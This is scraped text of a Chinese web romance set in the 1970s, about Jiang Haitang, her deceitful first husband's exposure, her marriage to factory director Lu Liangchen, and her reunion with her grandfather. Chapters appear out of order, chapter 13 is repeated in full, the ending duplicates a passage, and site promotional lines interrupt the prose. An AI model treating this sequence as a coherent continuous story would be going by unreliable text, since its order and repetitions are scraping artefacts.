姜海棠刚要伸手,陆良辰却侧了侧身:“妈,没事,我抱着他吃,我想多抱一会儿。” 晚饭桌上,果然比平时更加丰盛。 陆良辰一边吃饭,一边也没放下小橙子,他就让小橙子靠在自己腿上,一只手环抱着,另一只手还能灵活地夹菜吃饭,看得姜海棠都佩服他的平衡能力。 也难为小家伙居然能乖乖巧巧地躺在陆良辰的怀里,一点都不哭不闹。 吃饭的时候,自然会聊起一些内容,陆良辰捡着能说的说了。 又说起现在机械厂和纺织厂两个厂的情况。 “顾昀笛和舒启华夫妻已经平反了,我来之前刚返回到他们的工作岗位。”陆良辰想起这个事情,便对姜海棠说。 这确实是个好消息。 这辈子,两个人的命运因为没有长期在牛棚那样的地方被磋磨,有了极大的改变,其他身体就要比上辈子好上许多。 “还有他们的几个学生,也一起平反了,不过这几个人不打算回到原来的工作岗岗位,而是想留在机械厂和纺织厂工作。对了,他们二老还让我给你捎信了,等下给你看。” 姜海棠也是真心为二人高兴。 “能回到工作岗位就好,那样的两个人,不应该蹉跎生命。” 家中长辈也是这时候才知道,这两口子胆子大,在西北的时候居然收留了被下放的人,还是改名换姓留在厂里工作。 原本想指责几句,但再一想,他们也是为了工作,最终,长辈们都没说什么。 “顾老师的意思,要带大柱去学习几年,顾老师觉得大柱十分有天赋,只是缺少系统的知识,尤其是基础知识欠缺。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!对此,姜海棠是十分认同的,基础知识薄弱,就算有天赋,后续的能力也会受到制约,如果能被顾老师收成学生,对于大柱来说,以后的前途会好很多。 不久之后,应该会恢复高考,大柱就算考不上大学,有顾老师在,应该也能有办法入学。 思及此,她决定,还是要给大柱写封信,鼓励他认真学习,基本功打扎实。 陆老爷子和姜老爷子又说起了陆良辰的工作问题,陆良辰简单的说了下那边目前的局势,基本上是向好的。 一顿饭吃完后,陆良辰虽然疲惫不堪,但还是留在客厅里陪着家人聊天。 小桃子和几个哥哥在一边玩陆良辰带回来的新玩具,几个漂亮的彩色陀螺,小桃子对陀螺本身没兴趣,但对于上面的图样很有兴趣。 几个男娃正好相反,上面什么图案不重要,重要的是他们觉得陀螺很好玩。 陆良辰来的时候,还带了一大包的核桃和大枣,这会子何婉仪端了一些出来,让大家当零嘴吃。 小橙子在爸爸怀里昏昏欲睡,眼睛都快睁不开了。 “孩子给我,我先哄着她睡觉。”何婉仪不忍心看着小孙子困成这样,对陆良辰说。 可是,小家伙从爸爸的怀里转到奶奶怀里之后,就清醒了过来,咿咿呀呀的,还挥舞着小手。 “这么小一点点,就能认识爸爸,鸡贼鸡贼的。”何婉仪笑着骂道。 窗外,雪还在静静地下,院子里已经积了厚厚一层。 屋内,炉火正旺,茶香袅袅,孩子们的笑语声、大人们的交谈声交织在一起。 陆老爷子看着时间差不多了,让陆父、陆二叔和陆良辰、陆良谨兄弟跟着自己和姜老爷子一同去书房。 书房门一关,外面隐约的欢笑声被隔开,气氛瞬间变得有些严肃。 陆老爷子看向陆良辰:“良辰,西北那边,尾巴都清扫干净了?没留下什么后患吧?” 陆良辰坐姿笔挺,神情严肃起来:“爷爷,姜爷爷、爸,二叔,基本肃清了。我们布控了一年多的时间,掌握了确凿证据,两个月前的那次行动,联合了安全部门的同志,一举端掉了他们在厂区附近以‘废品收购站’为掩护的三个潜伏点,抓获主要成员三十五人,缴获电台一部、密码本和大量试图窃取的情报。” 陆二叔是部队出身,对这类行动更敏感,立刻追问:“人员都可靠?有没有漏网之鱼?他们的目标明确吗?” “二叔放心,行动很成功,主要目标一网打尽。这两个月,我们除了审理那些人之外,后续的筛查也在进行中,没有发现还有深层潜伏人员。”陆良辰沉声道。 陆父沉吟道:“看来形势比我们想象的要复杂。你这次立了大功,但也冒了不小的风险。” 陆父虽然不是从军,但他从事军事器械的研究工作,加上又是出生军人家庭,自然比其他人要敏感一些。 “他们在西北潜伏多年,早几年确实对各厂的生产,尤其是军工订单造成了极大的破坏,甚至破坏了一下关键设备,但功夫不负有心人,总算都收拾了。” 当初,陆良辰转业到地方之前,陆老爷子征求了陆良辰的意见,名义上,让他转业到纺织厂当厂长,但还有一层意思就是去清缴当地潜伏的那些间谍们。 有风险,但是如果成功了,功劳也不小。 这两年,陆老爷子其实也在担心,要是孙子不能成功清缴那些人,只是依靠厂子做贡献会很有限,怕耽误了孙子的前程。 现在,总算可以放心了。 陆老爷子满意地捋了捋胡子,眼中闪过赞赏:“做得不错,沉稳有度,没给我们老陆家丢人。” 姜老爷子一样很满意地笑着说:“我昨天正好闲着,去打听了一下,新厂长正在确定人选,已经有几个初步人选了。不过,正式确定还需要一段时间,过完年,你可能还需要回到西北去一段时间。” “这也是因为,你的工作这边给的几个岗位,我们都不是很满意,所以使了力拖一拖,再给你筹谋一个好岗位。” 京城里要找一个好岗位不是很容易,这才是陆良辰迟迟没有调回来的主要原因。 陆老爷子和姜老爷子两个都希望陆良辰有一个好前程,也一直在为他使力谋划。 陆良辰当然知道两个老爷子的意思,笑着和他们道谢。 “谢谢两位爷爷,让你们为了我的事情费心了。”陆良辰不无歉意的说道。 喜欢重生七零:前夫假死我改嫁,他急了请大家收藏:()重生七零:前夫假死我改嫁,他急了更新速度全网最快。 第28章 收到了礼物 啊? 难道陆厂长说的帮忙不是帮忙收拾屋子,而是帮忙照顾他女儿吗? 想到对李家那几个假烈士家属,她都殚精竭虑照顾了多年,这个真烈士的女儿,她多照顾照顾也是应该。 “陆厂长,我可以帮您照顾女儿。只是,我白天要上班。” 陆厂长白天要上班,没时间带着孩子,食堂里不适合小孩子待,她也不能带着孩子去,总不能白天将孩子锁在家里吧? “太好了。”陆良辰显得很激动,一把拉过姜海棠的手,紧紧握住。 “我就知道,你这样善良的人,肯定愿意帮我。白天不用担心,我已经和厂里的幼儿园说好了,可以把孩子送过去。” 姜海棠感觉到手上的力度,惊觉她和陆厂长拉手了。 拉手了,这可要不得。 她忙将自己的手从陆良辰的手里用力的抽出来,将手藏到身后。 “我这是太兴奋了,你不会介意吧?” 陆良辰手中一空,感觉到心里空落落的,他好想继续握住她的手,但实在怕吓到姜海棠,立即委婉解释。 姜海棠红着脸摇头:“陆厂长,我知道您没别的意思,我,我先走了。” 她着急忙慌地小跑步出门,连放在茶几上自己的东西都忘了拿。 陆良辰看着已经从大门里跑出去的小姑娘,想着方才牵手时的触感,只觉得心疼。 十九岁的小姑娘,花儿一样的年龄,手上的皮肤应该是滑腻的。 可姜海棠因为长期从事劳动,一双手粗糙得像树枝一样。 李胜利是真的该死,他怎么可以如此欺负一个小姑娘? 李家人也该死,他们作为既得利益者,怎么可以作践姜海棠? 姜海棠匆匆忙忙跑了好远,才发现手里空空的,这才想起来,东西落下了。 她想回去取,又觉得尴尬,想了再三,她还是决定改天再说。 正式入职的日子过的很平静,转眼就是三天。 这天晚上,姜海棠忙完工作准备回宿舍,却在食堂外面看到了陆良辰。 陆良辰手里捏着一根烟,没有点燃,目光时不时看向食堂的方向。 姜海棠看到陆良辰,想起之前拉手,她的脸不由发烫。 匆匆问候一句,姜海棠低头打算离开,却被陆良辰一把抓住了。 “陆厂长,您有事?”姜海棠挤出一抹虚假的笑容打招呼。 陆良辰被眼前人这假兮兮的样子给气笑了。 “你答应过给我帮忙的,忘了吗?” “没忘!”姜海棠嗫嚅说,声音像是蚊子一样。 之前,她确实没觉得帮忙有什么,可是,拉手的那天晚上,她没有梦到书房,没有梦到看书,反而梦到了陆良辰。 她觉得,这是不对的,她好像对陆良辰产生了不应该有的依恋。 “那你为什么要躲开?” “陆厂长,我还要上班……” 姜海棠话没说完,却被陆良辰打断了。 “小骗子,我知道你明天休息。” 这语气亲昵到让姜海棠忍不住多想。 “可是……”姜海棠还想拒绝。 “明天晚上,孩子就到了,总要在孩子到来之前把东西准备齐全。我一个大男人不够心细,要不能委屈孩子。” 陆良辰做出一副无奈的样子。 虽然知道眼前人可能是假装,但听到孩子,姜海棠还是心软了。 上辈子,她是寡妇,孤单一辈子,没有做过母亲,但她喜欢孩子,更羡慕别人家里有孩子。 “那行,明天上午九点,我在厂子东门口等您,行吗?” 姜海棠思索了一下,决定直接在厂子外面见面,厂里人多嘴杂,影响不好。 “行,九点钟,你要准时过来。” 姜海棠担心自己单独和陆良辰说话被人看到,点头应下,忙就要离开。 可陆良辰却堵着路不让她走。 “陆厂长,我们走太近,影响不好。” “有什么不好的?”陆良辰一副老子最大的模样。 “寡妇门前是非多,陆厂长,会影响到你。”姜海棠难堪的提醒,脸上染上羞赧之色。 陆良辰眉头蹙紧,说:“不要这么说自己,你不是寡妇。” “是,我男人没死,可是他不要我了,我是被人抛弃的女人。”姜海棠垂眸。 虽然知道这桩婚姻里,她是受害者,可这是七十年代,外界对于离婚的女人,总是带着有色眼镜。 “不是你被抛弃,而是你抛弃了一个不值得的人。姜海棠,你要肯定自己。” 姜海棠难以相信听到了什么,陆厂长说,她不是被人抛弃的女人?是她抛弃了不值得的人! 还是第一次有人如此肯定自己。 “陆厂长,谢谢,我以后会学会肯定自己,做更好的自己。” “我相信你是一个优秀的姑娘!”陆良辰继续鼓励。 姜海棠点头。 “这是给你的,感谢你明天帮忙。” 陆良辰将一个小布包塞到了姜海棠的手里,转身大步离开。 姜海棠冷不防手中就多了一样东西,忙喊道:“陆厂长,我不能要!” “不要就扔了,女人的东西,我用不到。” 姜海棠没有随意扔东西的习惯,只能捏在手里,看着大步流星离开的男人。 看着那个让她温暖的背影,她觉得自己早就干涸的心有了水润润的感觉。 认识陆良辰时间虽然短,但这个男人一直坚定的守护着她,让她从严寒的冬日走到了温暖的春天,开始了新的生活。 她轻声低喃:“为什么对我这么好?我会贪恋你给予的这份温暖!怎么办?” 想到她这么多年,终于得到了片刻的温暖,想到这难得的温暖,在不久的将来也会失去,委屈袭上心头。 姜海棠终于抑制不住,眼泪顺着脸颊滑落,开始是一滴一滴,到后面,如同决堤的洪水。 她躲在一旁的小树林里无声大哭,似是要将两辈子的委屈都哭出来。 重生而来,她苦心孤诣维持的坚强,在这一刻,彻底崩塌。 哭了许久,她的情绪终于渐渐平复。 看着天边弯弯的月牙儿,姜海棠知道,从今天开始,她真的迎来了新生! 回到宿舍,其他几个人都不在,其他几个人上班的节奏是一致的,这一周她们都是小夜班,要到晚上十二点才回来。 姜海棠坐到桌子前面,将手中一直捏着的小包放在桌上。 喜欢重生七零:前夫假死我改嫁,他急了请大家收藏:()重生七零:前夫假死我改嫁,他急了更新速度全网最快。 第13章 勇是真的勇 场上的人听到赵志坚的介绍,一片哗然。 清水沟是个偏远的小村子,很多人一辈子见过最大的领导就是大队长。 忽然听到城里的厂长来了,神色都多了几分恭敬。 只有吴秀云和李秋兰母女两个心里都是咯噔一下。 李二狗现在就在市纺织厂上班,他的领导跑他们大队干啥来了? 还是跟姜海棠一起来的。 莫不是姜海棠这贱人搞了什么鬼? “秋兰,这是咋回事?你不是说,那个男人是姜海棠带回来的野男人?”吴秀云压低声音问。 “我也不知道啊,娘,你别着急,厂长来了,不一定就是坏事。” 相对于吴秀云的不安,李秋兰则情绪稳定。 实际上,她这会儿满心满眼都是陆良辰,正想着怎么和陆良辰搭上关系。 “他是你哥的领导,万一姜海棠那贱人说啥影响你哥咋办?” 儿子好不容易出息了,吴秀云可不希望任何事影响到儿子的前途。 “娘,别人可不知道李胜利是我哥。再说了,既然是我哥的领导,那和咱就是一家的。” 李秋兰口中回话,可眼睛一直都没离开陆良辰。 她一双不大的眼睛盯着陆良辰帅气的面庞,就差冒星星了。 陆良辰只觉得有一道眼神朝着自己看过来,十分不舒服,索性后退一步,站在赵志坚的后面。 李秋兰看不到陆良辰的脸,这才有时间思考吴秀云的话。 这时候,赵志坚又开口了。 “大家伙儿都知道,我们大队的李二狗,早些年参军,前几年传回消息说他牺牲了。可这几年也没有见到部队发的证明,我心里一直嘀咕。” “今天才知道,李二狗没死,几年前从部队上退下来后,改了名字在市里的纺织厂工作,还在城里娶了媳妇。” 赵志坚硬着头皮将这一番话说完,心里头真是难受啊。 这不是自揭伤疤吗? 都怪李二狗,都怪李秋兰,就没个省心的。 周围的人没看到赵志坚想刀了李秋兰的眼神,兀自讨论开了。 “啥情况啊?李二狗没死,在城里?” “没死咋不回来啊?他娘可见天盼着他呢。” “大队长说李二狗在城里娶了媳妇?那海棠算啥?” “这事不是真的吧?没听李家人说过啊。” “说不定连老娘都瞒着了。” “李二狗这事干的,缺德带冒烟了,姜海棠好好的闺女就这么给祸害了。” “就算李二狗在城里娶媳妇了,海棠也是原配,外面的充其量就是个小的。” “现在可不兴娶小老婆了,李二狗这可违法了。” …… 吴秀云和李秋兰母女听到了这些讨论,气得都快冒烟了。 可她们都知道实情,想反驳都没底气。 “大家静一静,静一静。市纺织厂已经对李二狗的恶劣行为进行处理,现在请陆厂长宣布对李二狗的处分。” 赵志坚这会儿也看明白了,这位陆厂长就是想在大队里坏了李二狗的名声。 那就由着他好了,反正李二狗不是啥好东西。 吴秀云听到处分两个字,只觉得脑子懵懵的。 咋会这样? 二狗不是在部队立功才留在城里工作的? 咋能给处分? 大队长是不是说错了? 她脸色苍白,一时之间,连开口说话都忘了。 陆良辰已经开口了,他的声音低沉磁性中带着清润,听着让人觉得舒服。 “李二狗改名李胜利,四年前退伍,转业到市纺织厂工作。到厂工作后,他隐瞒家庭实情,称自己是孤儿,未婚,又娶了妻子。厂里了解到他隐瞒身份、停妻另娶的情况后,给予降职处分。下一步,就李二狗伪造烈士身份的问题,也会进一步做调查。如果情节严重,还会进一步追究责任。” 陆良辰一番话说完,现场一片混乱,老实的村民们并不敢相信这是真的。 从小看着长大的娃,咋能闯出这么大的祸? 吴秀云更是彻底凌乱了,差点没有一个跟头从架子车上栽下来。 “不是这样的,厂长同志,不是这样的,我儿子在乡下没老婆,你们不能因为这个处分他。” 吴秀云大声喊着,她声嘶力竭地喊,周围的人都听得清清楚楚。 场上的声音逐渐小了下来,大家还有什么不明白的? 李二狗没死这事儿,李家人知道呗? 他们难以置信地看着撕心裂肺的吴秀云,再看看角落里站着的姜海棠,眼中都是怜悯。 李二狗在家没老婆,姜海棠算啥? “吴秀云,姜海棠是你儿媳妇,大队里的人都知道。”赵志坚咬牙切齿地说。 这事原本可以内部解决的,就因为李秋兰这个不长脑子的才闹大。 闹出这种笑话,也不知道别的大队要怎么笑话他们大队。 现在还想着抵赖呢? 事情都处理清楚了,认下不就完了? 过些日子,大家忘了也就过去了,这个吴秀云,这不是腿瘫了,连脑子都瘫了! 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!吴秀云一时之间不知道应该怎么回答,她眼珠子乱转,想找个什么理由才合理。 “大队长,姜海棠可不是我嫂子,姜海棠就是我家用十斤豆子换回来的下人。” 李秋兰到底年轻,不假思索就将这话说了出来。 下人? 这两个字众目睽睽之下说出来,算得上石破天惊了。 周围有好几个人倒吸一口凉气。 勇,这姑娘真勇! “大队长,解放二十多年了,我竟不知道,你们大队被落下了,还有下人存在。” “本来就是我家买来的下人……”李秋兰还在得意。 哼,不过是个下人,最卑贱的存在,她倒是要看看这位厂长还能对她有兴趣不。 “我想我有必要去你们公社找公社的领导好好说说这个事。” 陆良辰没看李秋兰一眼,轻描淡写地对赵志坚说。 赵志坚脑门子再度冒汗,这都是什么事儿啊! “你闭嘴!”他冲着李秋兰呵斥:“你脖子上长的是瘤子?说话不经过脑子!” 李秋兰被骂,很是不服气,还想说话,被吴秀云制止了。 “大队长,厂长,秋兰还小,就是随口这么一说,无心的,真的是无心的。海棠怎么会是下人呢?不是,真不是。” 这个年代,要是被定性家中还有下人,她们一家子以后的日子就别想好过了。 不要说她和两个小的,就是二狗在城里,都要受影响。 喜欢重生七零:前夫假死我改嫁,他急了请大家收藏:()重生七零:前夫假死我改嫁,他急了更新速度全网最快。 第13章 勇是真的勇 场上的人听到赵志坚的介绍,一片哗然。 清水沟是个偏远的小村子,很多人一辈子见过最大的领导就是大队长。 忽然听到城里的厂长来了,神色都多了几分恭敬。 只有吴秀云和李秋兰母女两个心里都是咯噔一下。 李二狗现在就在市纺织厂上班,他的领导跑他们大队干啥来了? 还是跟姜海棠一起来的。 莫不是姜海棠这贱人搞了什么鬼? “秋兰,这是咋回事?你不是说,那个男人是姜海棠带回来的野男人?”吴秀云压低声音问。 “我也不知道啊,娘,你别着急,厂长来了,不一定就是坏事。” 相对于吴秀云的不安,李秋兰则情绪稳定。 实际上,她这会儿满心满眼都是陆良辰,正想着怎么和陆良辰搭上关系。 “他是你哥的领导,万一姜海棠那贱人说啥影响你哥咋办?” 儿子好不容易出息了,吴秀云可不希望任何事影响到儿子的前途。 “娘,别人可不知道李胜利是我哥。再说了,既然是我哥的领导,那和咱就是一家的。” 李秋兰口中回话,可眼睛一直都没离开陆良辰。 她一双不大的眼睛盯着陆良辰帅气的面庞,就差冒星星了。 陆良辰只觉得有一道眼神朝着自己看过来,十分不舒服,索性后退一步,站在赵志坚的后面。 李秋兰看不到陆良辰的脸,这才有时间思考吴秀云的话。 这时候,赵志坚又开口了。 “大家伙儿都知道,我们大队的李二狗,早些年参军,前几年传回消息说他牺牲了。可这几年也没有见到部队发的证明,我心里一直嘀咕。” “今天才知道,李二狗没死,几年前从部队上退下来后,改了名字在市里的纺织厂工作,还在城里娶了媳妇。” 赵志坚硬着头皮将这一番话说完,心里头真是难受啊。 这不是自揭伤疤吗? 都怪李二狗,都怪李秋兰,就没个省心的。 周围的人没看到赵志坚想刀了李秋兰的眼神,兀自讨论开了。 “啥情况啊?李二狗没死,在城里?” “没死咋不回来啊?他娘可见天盼着他呢。” “大队长说李二狗在城里娶了媳妇?那海棠算啥?” “这事不是真的吧?没听李家人说过啊。” “说不定连老娘都瞒着了。” “李二狗这事干的,缺德带冒烟了,姜海棠好好的闺女就这么给祸害了。” “就算李二狗在城里娶媳妇了,海棠也是原配,外面的充其量就是个小的。” “现在可不兴娶小老婆了,李二狗这可违法了。” …… 吴秀云和李秋兰母女听到了这些讨论,气得都快冒烟了。 可她们都知道实情,想反驳都没底气。 “大家静一静,静一静。市纺织厂已经对李二狗的恶劣行为进行处理,现在请陆厂长宣布对李二狗的处分。” 赵志坚这会儿也看明白了,这位陆厂长就是想在大队里坏了李二狗的名声。 那就由着他好了,反正李二狗不是啥好东西。 吴秀云听到处分两个字,只觉得脑子懵懵的。 咋会这样? 二狗不是在部队立功才留在城里工作的? 咋能给处分? 大队长是不是说错了? 她脸色苍白,一时之间,连开口说话都忘了。 陆良辰已经开口了,他的声音低沉磁性中带着清润,听着让人觉得舒服。 “李二狗改名李胜利,四年前退伍,转业到市纺织厂工作。到厂工作后,他隐瞒家庭实情,称自己是孤儿,未婚,又娶了妻子。厂里了解到他隐瞒身份、停妻另娶的情况后,给予降职处分。下一步,就李二狗伪造烈士身份的问题,也会进一步做调查。如果情节严重,还会进一步追究责任。” 陆良辰一番话说完,现场一片混乱,老实的村民们并不敢相信这是真的。 从小看着长大的娃,咋能闯出这么大的祸? 吴秀云更是彻底凌乱了,差点没有一个跟头从架子车上栽下来。 “不是这样的,厂长同志,不是这样的,我儿子在乡下没老婆,你们不能因为这个处分他。” 吴秀云大声喊着,她声嘶力竭地喊,周围的人都听得清清楚楚。 场上的声音逐渐小了下来,大家还有什么不明白的? 李二狗没死这事儿,李家人知道呗? 他们难以置信地看着撕心裂肺的吴秀云,再看看角落里站着的姜海棠,眼中都是怜悯。 李二狗在家没老婆,姜海棠算啥? “吴秀云,姜海棠是你儿媳妇,大队里的人都知道。”赵志坚咬牙切齿地说。 这事原本可以内部解决的,就因为李秋兰这个不长脑子的才闹大。 闹出这种笑话,也不知道别的大队要怎么笑话他们大队。 现在还想着抵赖呢? 事情都处理清楚了,认下不就完了? 过些日子,大家忘了也就过去了,这个吴秀云,这不是腿瘫了,连脑子都瘫了! 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!吴秀云一时之间不知道应该怎么回答,她眼珠子乱转,想找个什么理由才合理。 “大队长,姜海棠可不是我嫂子,姜海棠就是我家用十斤豆子换回来的下人。” 李秋兰到底年轻,不假思索就将这话说了出来。 下人? 这两个字众目睽睽之下说出来,算得上石破天惊了。 周围有好几个人倒吸一口凉气。 勇,这姑娘真勇! “大队长,解放二十多年了,我竟不知道,你们大队被落下了,还有下人存在。” “本来就是我家买来的下人……”李秋兰还在得意。 哼,不过是个下人,最卑贱的存在,她倒是要看看这位厂长还能对她有兴趣不。 “我想我有必要去你们公社找公社的领导好好说说这个事。” 陆良辰没看李秋兰一眼,轻描淡写地对赵志坚说。 赵志坚脑门子再度冒汗,这都是什么事儿啊! “你闭嘴!”他冲着李秋兰呵斥:“你脖子上长的是瘤子?说话不经过脑子!” 李秋兰被骂,很是不服气,还想说话,被吴秀云制止了。 “大队长,厂长,秋兰还小,就是随口这么一说,无心的,真的是无心的。海棠怎么会是下人呢?不是,真不是。” 这个年代,要是被定性家中还有下人,她们一家子以后的日子就别想好过了。 不要说她和两个小的,就是二狗在城里,都要受影响。 喜欢重生七零:前夫假死我改嫁,他急了请大家收藏:()重生七零:前夫假死我改嫁,他急了更新速度全网最快。 第310章 初二回娘家 来客人了,得赶紧招呼老爷子下楼。 不光是张姨,就是其他家里人,也都觉得挺奇怪,为什么正月初二上门? 楼上,得了消息的姜老爷子急匆匆地就要下楼。 搀扶着姜老爷子急匆匆地从楼上走下来的小胡看着这一家四口,笑得大牙花子都露出来了。 乖乖,这可是老**的孙女啊,他好像比其他人先知道了这个秘密! “老**,您慢点走,人都来了,又不会跑。” 姜老爷子也不是第一次见姜海棠和陆良辰了,但今天格外激动。 现在的局势好了,尤其是几个月前,那盯着陆家和姜家的人也倒台了,他们两家基本上没有风险了。 姜老爷子和陆老爷子商量过了,以后不用再藏着掖着了。 过了今天,估计很快,他找回亲孙女的消息就会传开。 等过段时间,再正式公布一下这个好消息。 司机、秘书还有张姨几个人看着小胡一脸狗腿地冲向陆良辰和姜海棠的时候,都有些不明所以。 莫不是,今天的重要客人,就是这几位? “海棠啊,你们来了,爷爷等你们很久了,快到屋里。哎呦,小桃子,我的乖宝啊,来来来,给大爷爷看看。” 姜老爷子又是忙着招呼姜海棠,又是冲着小桃子招手,忙得不可开交。 姜老爷子这不同寻常的热情和那句“我的乖宝”“爷爷”, 让站在一旁的几个人更加茫然了,他们想到了什么,但又不敢相信。 几人面面相觑,眼中都充满了震惊和恍然。 莫非,老**找回了亲孙女? 陆家的三儿媳妇姜海棠就是老**的亲孙女? 可不是说,陆家三孙媳妇是西北的姑娘…… 等等,当初,老**的儿子和儿媳妇,就是牺牲在西北的! 小胡警卫员在一旁挤眉弄眼,一副“我早就知道了”的得意表情。 姜老爷子可没空管其他人,这会子,他所有的注意力都放在了姜海棠母子三人身上,就连一旁的陆良辰都被忽略了。 他小心翼翼地想从陆良辰手里接过小橙子,又怕自己手重,那想看又不敢用力的样子,看着有一点点僵硬。 “爷爷,您坐着抱,这小子现在沉了不少。”陆良辰体贴地说着,小心地将襁褓递到已经坐在沙发上的姜老爷子怀里。 姜老爷子僵硬又珍重地抱着重外孙,看着小家伙红扑扑、肉嘟嘟的小脸,那双酷似姜海棠的乌溜溜大眼睛正好奇 地看着他。 虽然几乎天天见,但是今天不一样,今天看着,这小家伙更加可爱了几分。 小家伙在姜老爷子怀里吐泡泡玩,姜老看着只觉得心都要化了,眼眶忍不住又有些湿润。 这一天,终于等到了。 “好,好孩子……”他声音有些哽咽,连忙低下头掩饰。 小桃子已经自来熟地爬到了姜老爷子身边的沙发上,依偎着他,奶声奶气地开始聊天。 “大爷爷,小橙子可乖了,就是有时候会哭,声音可大了!” 孩子天真烂漫的话语驱散了那一点伤感,姜老爷子破涕为笑,空出一只手搂住小桃子。 “是吗?那肯定是我们小桃子更乖!” 张姨最先反应过来,连忙上前倒茶,脸上带着真诚的笑容。 她在姜家工作好些年了,这些年看着老**越来越没有活下去的欲望,也就是近一两年,才好起来…… 可不,姜海棠就是两年前到京城来的,当时应该就认出来了! 思及此,张姨立即端着茶水上前。 “**,这可是天大的喜事!恭喜**,恭喜海棠同志!我这就再去添几个菜。”她是个明白人,立刻改了称呼,显得更亲近。 有了张姨带头,其他人也忙上前道贺。 姜老爷子笑得那叫一个灿烂,心情极好地高声道:“老天待我不薄!让我这把老骨头临了还能找到亲孙女,还有了这么可爱的重孙重孙女!小刘,把我准备好的红包拿来!” 小刘秘书立刻从书房拿出几个早已备好的厚厚红包。 姜老爷子先给了小桃子和小橙子一人一个,然后又拿出一个明显厚实的多的大红包,塞到姜海棠手里。 “爷爷,不是给过了?”姜海棠看着姜老爷子说。 “那不一样,那是在陆家的时候给的,这是你回娘家给的。以后年年都有!”老爷子看着孙女,眼神里满是疼爱。 他这把年纪了,只有这一个亲人,将来这些还不都是孙女儿的。 姜海棠推辞不过,只能收下。 陆良辰在一旁笑道:“爷爷,您这可偏心了啊,我和海棠可是两口子,我的呢?” 姜老爷子瞪他一眼,笑骂道:“你小子,还缺我这点红包?好好对我孙女和重孙们,比什么红包都强!” 话虽这么说,还是示意小刘也给陆良辰递上了一个红包,只是厚度明显不如给姜海棠的。 一家人都笑了起来。 说说笑笑间,张姨已经手脚麻 利地又添了两道菜。 还特意蒸了碗适合孩子吃的鸡蛋羹。 饭桌上,气氛温馨而热闹。 姜老爷子不断给姜海棠和小桃子夹菜,关心姜海棠的工作和生活,询问下一步的打算。 吃过午饭,姜老爷子兴致勃勃地要带姜海棠参观家里。 “海棠,这以后就是你的家!二楼东边那间最大的朝阳房间,爷爷早就给你收拾出来了,以后你带着孩子回来,就住那里。” 老爷子指着楼上,絮絮叨叨地说着。 “里面家具都换了新的,窗帘床单也都买了新的让张姨洗晒过了……还有旁边的那一间,是给小桃子准备的,将来,给小橙子也准备一间。你看看还缺什么,尽管说。” 虽然知道,孙女儿来这里住的可能不大,但姜老爷子还是一早就让人准备了房间。 陆家是三层楼,姜家是两层小楼,但姜家只有姜老爷子一个人,因此,房间很宽敞。 姜海棠跟着爷爷上楼,推开房门。 房间宽敞明亮,打扫得一尘不染,崭新的木头家具散发着淡淡清香,床上铺着喜庆的红色缎面被子,窗台上还摆了两盆绿植,显然是用了十二分的心。 她的眼眶又一次湿润了。 虽然之前就知道爷爷心疼自己,但没想到,爷爷如此用心。 这种被人珍视、妥善安排的感觉,真好! “爷爷,很好,什么都不缺,让您费心了。”她声音有些哽咽。 “傻孩子,跟爷爷客气什么。”姜老爷子拍拍她的肩膀,语气欣慰又满足。 “爷爷,您这个房间,可真是准备得好,我昨天才和海棠商量,在您这边住几天呢。”陆良辰立即狗腿的上前陪笑说道。 姜老爷子原本准备房间的时候,也就是这么一个想法,还真没想过,孙女儿真的能来自己家里住。 “真的?”姜老爷子问到。 “当然是真的,爷爷,海棠是您孙女,说起来,还没和您一起生活过呢。”陆良辰站在姜老爷子身边,浅浅地笑着说。 姜老爷子高兴得都要说不出话来了,孙女儿真的能住在自己准备的房间里了? “爷爷,以后海棠偶尔会过来陪您住几天,两个小家伙可能会打扰您,您可别嫌烦啊!” “不烦,怎么会烦呢?”姜老爷子喃喃地说着。 得知孙女要住在这边的姜老爷子,又让人将房间认认真真地打扫了一遍,就连小桃子的房间也收拾得妥妥当当。 正好,小橙子开始打 呵欠,姜老爷子让姜海棠带他去睡觉。 陆良辰陪着姜老爷子在书房下棋。 “你小子,真没想到,能给我老头子带来这样的惊喜。”姜老爷子笑着对陆良辰说:“你们这缘分,或许是老早就注定的。那时候,海棠的妈妈刚怀孕,你就喊着说是小妹妹,还说以后要娶小妹妹。” 这些事,陆良辰早就不记得了,毕竟,只是当年的童言童语,加上那个小妹妹一直都没有出现过,时间长了,也就忘记了。 因此,陆良辰听到姜老爷子,也是很惊讶的,但转念一想,或许,这就是命运的神奇吧。 “爷爷,这说明,我们是缘分天注定。这辈子,我都会对海棠好。” “我相信你,你也算我看着长大的,你是什么样的孩子,我是清楚的。我年龄大了,守护不了海棠母子多长时间了,以后,你要好好照顾他们。” 小桃子原本在一旁玩着带来的新玩具,听到姜老爷子这话,立即扬声说:“大爷爷,我也会好好照顾妈妈哦!小桃子已经不是小孩子了,是大人了。” 原本有些沉重的气氛因为小桃子的稚气语言轻松了很多。 张姨、小刘和小胡几人看着这其乐融融的一家人,也由衷地为老**感到高兴。 尤其是张姨,激动的眼泪都流下来了。 “姜家的小楼,冷清了这么多年了,没想到还能有这么热闹,老**总算苦尽甘来了。” 消息很快就在大院里传开了。 人们这才恍然大悟,为何姜老爷子两年前就看起来油尽灯枯一样,后来却一天比一天精神,甚至精神焕发。 为何这两年姜老爷子有一半时间都在陆家,甚至一日三餐都在陆家。 原来不是要过继孙子,而是找回了流落在外多年的亲骨肉! 也有些原本想着陆良辰娶了个乡下姑娘的人,不由得又开始感慨,陆良辰真是好运气,在西北都能找到姜老爷子的亲孙女。 以后,姜家的资源可不就都是陆良辰的了。 呵欠,姜老爷子让姜海棠带他去睡觉。 陆良辰陪着姜老爷子在书房下棋。 “你小子,真没想到,能给我老头子带来这样的惊喜。”姜老爷子笑着对陆良辰说:“你们这缘分,或许是老早就注定的。那时候,海棠的妈妈刚怀孕,你就喊着说是小妹妹,还说以后要娶小妹妹。” 这些事,陆良辰早就不记得了,毕竟,只是当年的童言童语,加上那个小妹妹一直都没有出现过,时间长了,也就忘记了。 因此,陆良辰听到姜老爷子,也是很惊讶的,但转念一想,或许,这就是命运的神奇吧。 “爷爷,这说明,我们是缘分天注定。这辈子,我都会对海棠好。” “我相信你,你也算我看着长大的,你是什么样的孩子,我是清楚的。我年龄大了,守护不了海棠母子多长时间了,以后,你要好好照顾他们。” 小桃子原本在一旁玩着带来的新玩具,听到姜老爷子这话,立即扬声说:“大爷爷,我也会好好照顾妈妈哦!小桃子已经不是小孩子了,是大人了。” 原本有些沉重的气氛因为小桃子的稚气语言轻松了很多。 